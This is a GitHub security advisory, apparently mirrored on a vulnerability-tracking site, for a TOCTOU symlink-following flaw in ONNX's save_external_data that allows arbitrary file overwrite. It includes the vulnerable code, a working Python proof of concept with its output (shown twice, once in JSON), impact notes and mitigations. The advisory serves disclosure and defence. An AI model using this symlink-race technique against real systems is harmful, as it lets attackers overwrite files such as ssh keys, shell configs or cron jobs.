GHSA-Q56X-G2FJ-4RJ6

Vulnerability from github – Published: 2026-04-01 23:40 – Updated: 2026-06-08 20:15
VLAI
Summary
ONNX: TOCTOU arbitrary file read/write in save_external_dat
Details

Summary

The save_external_data method seems to include multiple issues introducing a local TOCTOU vulnerability, an arbitrary file read/write on any system. It potentially includes a path validation bypass on Windows systems. Regarding the TOCTOU, an attacker seems to be able to overwrite victim's files via symlink following under the same privilege scope. The mentioned function can be found here: https://github.com/onnx/onnx/blob/main/onnx/external_data_helper.py#L188

Details

Toctou

The vulnerable code pattern:

   # CHECK - Is this a file?
   if not os.path.isfile(external_data_file_path):
       # Line 228-229: USE #1 - Create if it doesn't exist
       with open(external_data_file_path, "ab"):
           pass

   # Open for writing
   with open(external_data_file_path, "r+b") as data_file:
       # Lines 233-243: Write tensor data
       data_file.seek(0, 2)
       if info.offset is not None:
           file_size = data_file.tell()
           if info.offset > file_size:
               data_file.write(b"\0" * (info.offset - file_size))
           data_file.seek(info.offset)
       offset = data_file.tell()
       data_file.write(tensor.raw_data)

There is a time gap between os.path.isfile and open with no atomic file creation flags (e.g. O_EXCEL | O_CREAT) allowing the attacker to create a symlink that is being followed (absence of O_NOFOLLOW), between these two calls. By combining these, the attack is possible as shown below in the PoC section.

Bypass

There is also a potential validation bypass on Windows systems in the same method (https://github.com/onnx/onnx/blob/main/onnx/external_data_helper.py#L203) allowing absolute paths like C:\ (only 1 part):

if location_path.is_absolute() and len(location_path.parts) > 1

This may allow Windows Path Traversals (not 100% verified as I am emulating things on a Debian distro).

PoC

Install the dependencies and run this:

import os
import sys
import tempfile
import numpy as np
import onnx
from onnx import TensorProto, helper
from onnx.numpy_helper import from_array

# Create a temporary directory for our poc
with tempfile.TemporaryDirectory() as tmpdir:
    print(f"[*] Working directory: {tmpdir}")

    # Create a "sensitive" file that we'll overwrite
    sensitive_file = os.path.join(tmpdir, "sensitive.txt")
    with open(sensitive_file, 'w') as f:
        f.write("SENSITIVE DATA - DO NOT OVERWRITE")

    original_content = open(sensitive_file, 'rb').read()
    print(f"[*] Created sensitive file: {sensitive_file}")
    print(f"    Original content: {original_content}")

    # Create a simple ONNX model with a large tensor
    print("[*] Creating ONNX model with external data...")

    # Create a tensor with data > 1KB (to trigger external data)
    large_array = np.ones((100, 100), dtype=np.float32)  # 40KB tensor
    large_tensor = from_array(large_array, name='large_weight')

    # Create a minimal model
    model = helper.make_model(
        helper.make_graph(
            [helper.make_node('Identity', ['input'], ['output'])],
            'minimal_model',
            [helper.make_tensor_value_info('input', TensorProto.FLOAT, [100, 100])],
            [helper.make_tensor_value_info('output', TensorProto.FLOAT, [100, 100])],
            [large_tensor]
        )
    )

    # Save model with external data to create the external data file
    model_path = os.path.join(tmpdir, "model.onnx")
    external_data_name = "data.bin"
    external_data_path = os.path.join(tmpdir, external_data_name)

    onnx.save_model(
        model, 
        model_path,
        save_as_external_data=True,
        all_tensors_to_one_file=True,
        location=external_data_name,
        size_threshold=1024
    )

    print(f"[+] Model saved: {model_path}")
    print(f"[+] External data created: {external_data_path}")

    # Now comes the attack: replace the external data file with a symlink
    print("[!] ATTACK: Replacing external data file with symlink...")

    # Remove the legitimate external data file
    if os.path.exists(external_data_path):
        os.remove(external_data_path)
        print(f"    Removed: {external_data_path}")

    # Create symlink pointing to sensitive file
    os.symlink(sensitive_file, external_data_path)
    print(f"    Created symlink: {external_data_path} -> {sensitive_file}")

    # Now load and re-save the model, which will trigger the vulnerability
    print("Loading model and saving with external data...")
    try:
        # Load the model (without loading external data)
        loaded_model = onnx.load(model_path, load_external_data=False)

        # Modify the model slightly (to ensure we write new data)
        loaded_model.graph.initializer[0].raw_data = large_array.tobytes()

        # Save again - this will call save_external_data() and follow the symlink
        onnx.save_model(
            loaded_model,
            model_path,
            save_as_external_data=True,
            all_tensors_to_one_file=True,
            location=external_data_name,
            size_threshold=1024
        )
    except Exception as e:
        print(f"[-] Error: {e}")

    # Check if the sensitive file was overwritten
    print("[*] Checking if sensitive file was modified...")
    modified_content = open(sensitive_file, 'rb').read()

    print(f"    Original size: {len(original_content)} bytes")
    print(f"    Current size:  {len(modified_content)} bytes")
    print(f"    Original content: {original_content[:50]}")
    print(f"    Current content:  {modified_content[:50]}...")
    print()

    if modified_content != original_content:
        print("[!] Success!")
    else:
        print("[-] Failure")

Output:

[*] Working directory: /tmp/tmpqy7z88_l
[*] Created sensitive file: /tmp/tmpqy7z88_l/sensitive.txt
    Original content: b'SENSITIVE DATA - DO NOT OVERWRITE'

[*] Creating ONNX model with external data...
[+] Model saved: /tmp/tmpqy7z88_l/model.onnx
[+] External data created: /tmp/tmpqy7z88_l/data.bin
[!] ATTACK: Replacing external data file with symlink...
    Removed: /tmp/tmpqy7z88_l/data.bin
    Created symlink: /tmp/tmpqy7z88_l/data.bin -> /tmp/tmpqy7z88_l/sensitive.txt
Loading model and saving with external data...
[*] Checking if sensitive file was modified...
    Original size: 33 bytes
    Current size:  40033 bytes
    Original content: b'SENSITIVE DATA - DO NOT OVERWRITE'
    Current content:  b'SENSITIVE DATA - DO NOT OVERWRITE\x00\x00\x80?\x00\x00\x80?\x00\x00\x80?\x00\x00\x80?\x00'...

Successfully overwritting the "sensitive data" file.

Impact

The impact may include filesystem injections (e.g. on ssh keys, shell configs, crons) or destruction of files, affecting integrity and availability.

Mitigations

  1. Atomic file creation
  2. Symlink protection
  3. Path canonicalization
Severity
7.1 (High)
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.20.1"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "onnx"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.21.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-367",
      "CWE-59"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-01T23:40:58Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe `save_external_data` method seems to include multiple issues introducing a local TOCTOU vulnerability, an arbitrary file read/write on any system. It potentially includes a path validation bypass on Windows systems.\nRegarding the TOCTOU, an attacker seems to be able to overwrite victim\u0027s files via symlink following under the same privilege scope.\nThe mentioned function can be found here: https://github.com/onnx/onnx/blob/main/onnx/external_data_helper.py#L188\n\n### Details\n\n#### Toctou\nThe vulnerable code pattern:\n```python\n   # CHECK - Is this a file?\n   if not os.path.isfile(external_data_file_path):\n       # Line 228-229: USE #1 - Create if it doesn\u0027t exist\n       with open(external_data_file_path, \"ab\"):\n           pass\n   \n   # Open for writing\n   with open(external_data_file_path, \"r+b\") as data_file:\n       # Lines 233-243: Write tensor data\n       data_file.seek(0, 2)\n       if info.offset is not None:\n           file_size = data_file.tell()\n           if info.offset \u003e file_size:\n               data_file.write(b\"\\0\" * (info.offset - file_size))\n           data_file.seek(info.offset)\n       offset = data_file.tell()\n       data_file.write(tensor.raw_data)\n```\nThere is a time gap between `os.path.isfile` and `open` with no atomic file creation flags (e.g. `O_EXCEL | O_CREAT`) allowing the attacker to create a symlink that is being followed (absence of `O_NOFOLLOW`), between these two calls. By combining these, the attack is possible as shown below in the PoC section.\n\n#### Bypass\nThere is also a potential validation bypass on Windows systems in the same method (https://github.com/onnx/onnx/blob/main/onnx/external_data_helper.py#L203) allowing absolute paths like `C:\\` (only 1 part):\n```python\nif location_path.is_absolute() and len(location_path.parts) \u003e 1\n```\nThis may allow Windows Path Traversals (not 100% verified as I am emulating things on a Debian distro).\n\n### PoC\n\nInstall the dependencies and run this:\n```python\nimport os\nimport sys\nimport tempfile\nimport numpy as np\nimport onnx\nfrom onnx import TensorProto, helper\nfrom onnx.numpy_helper import from_array\n\n# Create a temporary directory for our poc\nwith tempfile.TemporaryDirectory() as tmpdir:\n    print(f\"[*] Working directory: {tmpdir}\")\n\n    # Create a \"sensitive\" file that we\u0027ll overwrite\n    sensitive_file = os.path.join(tmpdir, \"sensitive.txt\")\n    with open(sensitive_file, \u0027w\u0027) as f:\n        f.write(\"SENSITIVE DATA - DO NOT OVERWRITE\")\n\n    original_content = open(sensitive_file, \u0027rb\u0027).read()\n    print(f\"[*] Created sensitive file: {sensitive_file}\")\n    print(f\"    Original content: {original_content}\")\n\n    # Create a simple ONNX model with a large tensor\n    print(\"[*] Creating ONNX model with external data...\")\n\n    # Create a tensor with data \u003e 1KB (to trigger external data)\n    large_array = np.ones((100, 100), dtype=np.float32)  # 40KB tensor\n    large_tensor = from_array(large_array, name=\u0027large_weight\u0027)\n\n    # Create a minimal model\n    model = helper.make_model(\n        helper.make_graph(\n            [helper.make_node(\u0027Identity\u0027, [\u0027input\u0027], [\u0027output\u0027])],\n            \u0027minimal_model\u0027,\n            [helper.make_tensor_value_info(\u0027input\u0027, TensorProto.FLOAT, [100, 100])],\n            [helper.make_tensor_value_info(\u0027output\u0027, TensorProto.FLOAT, [100, 100])],\n            [large_tensor]\n        )\n    )\n\n    # Save model with external data to create the external data file\n    model_path = os.path.join(tmpdir, \"model.onnx\")\n    external_data_name = \"data.bin\"\n    external_data_path = os.path.join(tmpdir, external_data_name)\n\n    onnx.save_model(\n        model, \n        model_path,\n        save_as_external_data=True,\n        all_tensors_to_one_file=True,\n        location=external_data_name,\n        size_threshold=1024\n    )\n\n    print(f\"[+] Model saved: {model_path}\")\n    print(f\"[+] External data created: {external_data_path}\")\n\n    # Now comes the attack: replace the external data file with a symlink\n    print(\"[!] ATTACK: Replacing external data file with symlink...\")\n\n    # Remove the legitimate external data file\n    if os.path.exists(external_data_path):\n        os.remove(external_data_path)\n        print(f\"    Removed: {external_data_path}\")\n\n    # Create symlink pointing to sensitive file\n    os.symlink(sensitive_file, external_data_path)\n    print(f\"    Created symlink: {external_data_path} -\u003e {sensitive_file}\")\n\n    # Now load and re-save the model, which will trigger the vulnerability\n    print(\"Loading model and saving with external data...\")\n    try:\n        # Load the model (without loading external data)\n        loaded_model = onnx.load(model_path, load_external_data=False)\n\n        # Modify the model slightly (to ensure we write new data)\n        loaded_model.graph.initializer[0].raw_data = large_array.tobytes()\n\n        # Save again - this will call save_external_data() and follow the symlink\n        onnx.save_model(\n            loaded_model,\n            model_path,\n            save_as_external_data=True,\n            all_tensors_to_one_file=True,\n            location=external_data_name,\n            size_threshold=1024\n        )\n    except Exception as e:\n        print(f\"[-] Error: {e}\")\n    \n    # Check if the sensitive file was overwritten\n    print(\"[*] Checking if sensitive file was modified...\")\n    modified_content = open(sensitive_file, \u0027rb\u0027).read()\n    \n    print(f\"    Original size: {len(original_content)} bytes\")\n    print(f\"    Current size:  {len(modified_content)} bytes\")\n    print(f\"    Original content: {original_content[:50]}\")\n    print(f\"    Current content:  {modified_content[:50]}...\")\n    print()\n    \n    if modified_content != original_content:\n        print(\"[!] Success!\")\n    else:\n        print(\"[-] Failure\")\n```\nOutput:\n```\n[*] Working directory: /tmp/tmpqy7z88_l\n[*] Created sensitive file: /tmp/tmpqy7z88_l/sensitive.txt\n    Original content: b\u0027SENSITIVE DATA - DO NOT OVERWRITE\u0027\n\n[*] Creating ONNX model with external data...\n[+] Model saved: /tmp/tmpqy7z88_l/model.onnx\n[+] External data created: /tmp/tmpqy7z88_l/data.bin\n[!] ATTACK: Replacing external data file with symlink...\n    Removed: /tmp/tmpqy7z88_l/data.bin\n    Created symlink: /tmp/tmpqy7z88_l/data.bin -\u003e /tmp/tmpqy7z88_l/sensitive.txt\nLoading model and saving with external data...\n[*] Checking if sensitive file was modified...\n    Original size: 33 bytes\n    Current size:  40033 bytes\n    Original content: b\u0027SENSITIVE DATA - DO NOT OVERWRITE\u0027\n    Current content:  b\u0027SENSITIVE DATA - DO NOT OVERWRITE\\x00\\x00\\x80?\\x00\\x00\\x80?\\x00\\x00\\x80?\\x00\\x00\\x80?\\x00\u0027...\n```\nSuccessfully overwritting the \"sensitive data\" file.\n\n### Impact\nThe impact may include filesystem injections (e.g. on ssh keys, shell configs, crons) or destruction of files, affecting integrity and availability.\n\n### Mitigations\n1. Atomic file creation\n2. Symlink protection\n3. Path canonicalization",
  "id": "GHSA-q56x-g2fj-4rj6",
  "modified": "2026-06-08T20:15:31Z",
  "published": "2026-04-01T23:40:58Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/onnx/onnx/security/advisories/GHSA-q56x-g2fj-4rj6"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/onnx/onnx"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ONNX: TOCTOU arbitrary file read/write in save_external_dat "
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.





Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Detection rules are retrieved from Rulezet.